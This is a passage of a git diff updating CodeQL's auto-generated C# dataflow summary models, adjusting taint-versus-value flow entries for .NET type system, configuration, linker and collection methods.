"MethodDelegator", "(Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[this].Field[Internal.TypeSystem.MethodDelegator._wrappedMethod]", "value", "dfc-generated"] @@ -133,6 +133,7 @@ extensions: - ["Internal.TypeSystem", "MethodSignature+SignatureEnumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.MethodSignature._parameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.MethodSignature._returnType]", "value", "dfc-generated"] + - ["Internal.TypeSystem", "MethodSignature", False, "ApplySubstitution", "(Internal.TypeSystem.Instantiation)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEmbeddedSignatureData", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.MethodSignature._embeddedSignatureData].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEmbeddedSignatureData", "(System.ReadOnlySpan)", "", "Argument[this].SyntheticField[Internal.TypeSystem.MethodSignature._embeddedSignatureData].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "MethodSignature", False, "GetEnumerator", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] @@ -183,7 +184,7 @@ extensions: - ["Internal.TypeSystem", "ResolutionFailure", False, "GetTypeLoadResolutionFailure", "(System.String,System.String,System.String)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "RuntimeDeterminedCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "GetNonRuntimeDeterminedTypeFromRuntimeDeterminedSubtypeViaSubstitution", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.Instantiation)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "GetNonRuntimeDeterminedTypeFromRuntimeDeterminedSubtypeViaSubstitution", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.Instantiation)", "", "Argument[1].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue", "value", "dfc-generated"] - ["Internal.TypeSystem", "RuntimeDeterminedType", False, "RuntimeDeterminedType", "(Internal.TypeSystem.DefType,Internal.TypeSystem.GenericParameterDesc)", "", "Argument[0]", "Argument[this].SyntheticField[Internal.TypeSystem.RuntimeDeterminedType._rawCanonType]", "value", "dfc-generated"] @@ -199,8 +200,8 @@ extensions: - ["Internal.TypeSystem", "SimpleArrayOfTRuntimeInterfacesAlgorithm", False, "SimpleArrayOfTRuntimeInterfacesAlgorithm", "(Internal.TypeSystem.ModuleDesc)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0].SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "ReturnValue.SyntheticField[Internal.TypeSystem.Instantiation._genericParameters].Element", "value", "dfc-generated"] - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertInstantiationToCanonForm", "(Internal.TypeSystem.Instantiation,Internal.TypeSystem.CanonicalFormKind,System.Boolean)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeDesc", False, "ConvertToCanonForm", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "StandardCanonicalizationAlgorithm", False, "ConvertToCanon", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.CanonicalFormKind)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["Internal.TypeSystem", "TypeDesc", False, "ConvertToCanonForm", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", False, "GetMethod", "(System.String,Internal.TypeSystem.MethodSignature)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", False, "get_RuntimeInterfaces", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeDesc", True, "ConvertToCanonFormImpl", "(Internal.TypeSystem.CanonicalFormKind)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -260,7 +261,7 @@ extensions: - ["Internal.TypeSystem", "TypeSystemException", False, "get_Arguments", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "EnumAllVirtualSlots", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindMethodOnTypeWithMatchingTypicalMethod", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "FindVirtualFunctionTargetMethodOnObjectType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "GetAllMethods", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "GetAllVirtualMethods", "(Internal.TypeSystem.TypeDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -276,7 +277,7 @@ extensions: - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "TypeSystemHelpers", False, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "TypeWithRepeatedFields", "(Internal.TypeSystem.MetadataType)", "", "Argument[0]", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType]", "value", "dfc-generated"] - ["Internal.TypeSystem", "TypeWithRepeatedFields", False, "get_ContainingType", "()", "", "Argument[this].SyntheticField[Internal.TypeSystem.TypeWithRepeatedFields.MetadataType].Property[Internal.TypeSystem.MetadataType.ContainingType]", "ReturnValue", "value", "dfc-generated"] @@ -289,7 +290,7 @@ extensions: - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "FindVirtualFunctionTargetMethodOnObjectType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "dfc-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] + - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[0]", "Argument[2]", "value", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToDefaultImplementationOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc,Internal.TypeSystem.MethodDesc)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["Internal.TypeSystem", "VirtualMethodAlgorithm", True, "ResolveVariantInterfaceMethodToVirtualMethodOnType", "(Internal.TypeSystem.MethodDesc,Internal.TypeSystem.TypeDesc)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - addsTo: diff --git a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml index 0dddff60e785..8ff9e323ec4b 100644 --- a/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml +++ b/csharp/ql/lib/ext/generated/Microsoft.Extensions.Configuration.model.yml @@ -9,8 +9,8 @@ extensions: - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "ChainedConfigurationProvider", "(Microsoft.Extensions.Configuration.ChainedConfigurationSource)", "", "Argument[0].Property[Microsoft.Extensions.Configuration.ChainedConfigurationSource.Configuration]", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "TryGet", "(System.String,System.String)", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "Argument[1]", "taint", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ChainedConfigurationProvider", False, "get_Configuration", "()", "", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config]", "ReturnValue", "value", "dfc-generated"] - - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "Get", "(Microsoft.Extensions.Configuration.IConfiguration)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "GetValue", "(Microsoft.Extensions.Configuration.IConfiguration,System.Type,System.String,System.Object)", "", "Argument[3]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBinder", False, "GetValue", "(Microsoft.Extensions.Configuration.IConfiguration,System.String,T)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] - ["Microsoft.Extensions.Configuration", "ConfigurationBuilder", False, "Add", "(Microsoft.Extensions.Configuration.IConfigurationSource)", "", "Argument[0]", "Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ConfigurationBuilder._sources].Element", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml index 0e6f2465ec01..1a63b255a4a4 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.Steps.model.yml @@ -54,11 +54,11 @@ extensions: - ["Mono.Linker.Steps", "MarkStep", True, "MarkInstruction", "(Mono.Cecil.Cil.Instruction,Mono.Cecil.MethodDefinition,System.Boolean,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkInterfaceImplementation", "(Mono.Cecil.InterfaceImplementation,Mono.Linker.MessageOrigin,System.Nullable)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker.Steps", "MarkStep", True, "MarkMethod", "(Mono.Cecil.MethodReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkRequirementsForInstantiatedTypes", "(Mono.Cecil.TypeDefinition)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkSecurityAttribute", "(Mono.Cecil.SecurityAttribute,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker.Steps", "MarkStep", True, "MarkType", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkTypeVisibleToReflection", "(Mono.Cecil.TypeReference,Mono.Linker.DependencyInfo,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "MarkUserDependency", "(Mono.Cecil.IMemberDefinition,Mono.Cecil.CustomAttribute,Mono.Linker.MessageOrigin)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker.Steps", "MarkStep", True, "Process", "(Mono.Linker.LinkContext)", "", "Argument[0]", "Argument[this].SyntheticField[Mono.Linker.Steps.MarkStep._context]", "value", "dfc-generated"] diff --git a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml index f48ad4aa4115..862d9b749e17 100644 --- a/csharp/ql/lib/ext/generated/Mono.Linker.model.yml +++ b/csharp/ql/lib/ext/generated/Mono.Linker.model.yml @@ -157,7 +157,7 @@ extensions: - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState+Suppression", False, "Suppression", "(Mono.Linker.SuppressMessageInfo,Mono.Cecil.CustomAttribute,Mono.Cecil.ICustomAttributeProvider)", "", "Argument[1]", "Argument[this].Property[Mono.Linker.UnconditionalSuppressMessageAttributeState+Suppression.OriginAttribute]", "value", "dfc-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState+Suppression", False, "Suppression", "(Mono.Linker.SuppressMessageInfo,Mono.Cecil.CustomAttribute,Mono.Cecil.ICustomAttributeProvider)", "", "Argument[2]", "Argument[this].Property[Mono.Linker.UnconditionalSuppressMessageAttributeState+Suppression.Provider]", "value", "dfc-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GatherSuppressions", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GetModuleFromProvider", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "GetModuleFromProvider", "(Mono.Cecil.ICustomAttributeProvider)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "IsSuppressed", "(System.Int32,Mono.Linker.MessageOrigin,Mono.Linker.SuppressMessageInfo)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker", "UnconditionalSuppressMessageAttributeState", False, "UnconditionalSuppressMessageAttributeState", "(Mono.Linker.LinkContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["Mono.Linker", "UnintializedContextFactory", True, "CreateAnnotationStore", "(Mono.Linker.LinkContext)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml index ae675a172a80..840c179210d4 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Frozen.model.yml @@ -4,7 +4,7 @@ extensions: pack: codeql/csharp-all extensible: summaryModel data: - - ["System.Collections.Frozen", "FrozenDictionary", False, "ToFrozenDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Frozen", "FrozenDictionary", False, "ToFrozenDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "ContainsKey", "(TAlternateKey)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "TryGetValue", "(TAlternateKey,TValue)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenDictionary+AlternateLookup", False, "get_Item", "(TAlternateKey)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] @@ -16,7 +16,7 @@ extensions: - ["System.Collections.Frozen", "FrozenDictionary", False, "get_Values", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "Create", "(System.Collections.Generic.IEqualityComparer,System.ReadOnlySpan)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Frozen", "FrozenSet", False, "ToFrozenSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Frozen", "FrozenSet", False, "ToFrozenSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "Contains", "(TAlternate)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Frozen", "FrozenSet+AlternateLookup", False, "TryGetValue", "(TAlternate,T)", "", "Argument[this]", "Argument[1]", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml index 325945f59044..f889bb823d16 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Generic.model.yml @@ -47,8 +47,12 @@ extensions: - ["System.Collections.Generic", "KeyValuePair", False, "get_Value", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Generic.LinkedList`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "Argument[1].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddAfter", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "ReturnValue.SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,System.Collections.Generic.LinkedListNode)", "", "Argument[1]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddBefore", "(System.Collections.Generic.LinkedListNode,T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -60,6 +64,7 @@ extensions: - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddFirst", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(System.Collections.Generic.LinkedListNode)", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(System.Collections.Generic.LinkedListNode)", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "AddLast", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -67,8 +72,9 @@ extensions: - ["System.Collections.Generic", "LinkedList", False, "LinkedList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "LinkedList", "(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedList", False, "Remove", "(System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.next]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "value", "dfc-generated"] + - ["System.Collections.Generic", "LinkedList", False, "Remove", "(System.Collections.Generic.LinkedListNode)", "", "Argument[0].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedList", False, "get_First", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Generic", "LinkedList", False, "get_Last", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Generic", "LinkedList", False, "get_Last", "()", "", "Argument[this].SyntheticField[System.Collections.Generic.LinkedList`1.head].SyntheticField[System.Collections.Generic.LinkedListNode`1.prev]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "LinkedListNode", "(T)", "", "Argument[0]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "get_List", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Generic", "LinkedListNode", False, "get_Next", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] diff --git a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml index c2b0ddb02cdc..a381e522298e 100644 --- a/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml +++ b/csharp/ql/lib/ext/generated/System.Collections.Immutable.model.yml @@ -106,10 +106,10 @@ extensions: - ["System.Collections.Immutable", "ImmutableArray", False, "Slice", "(System.Int32,System.Int32)", "", "Argument[this]", 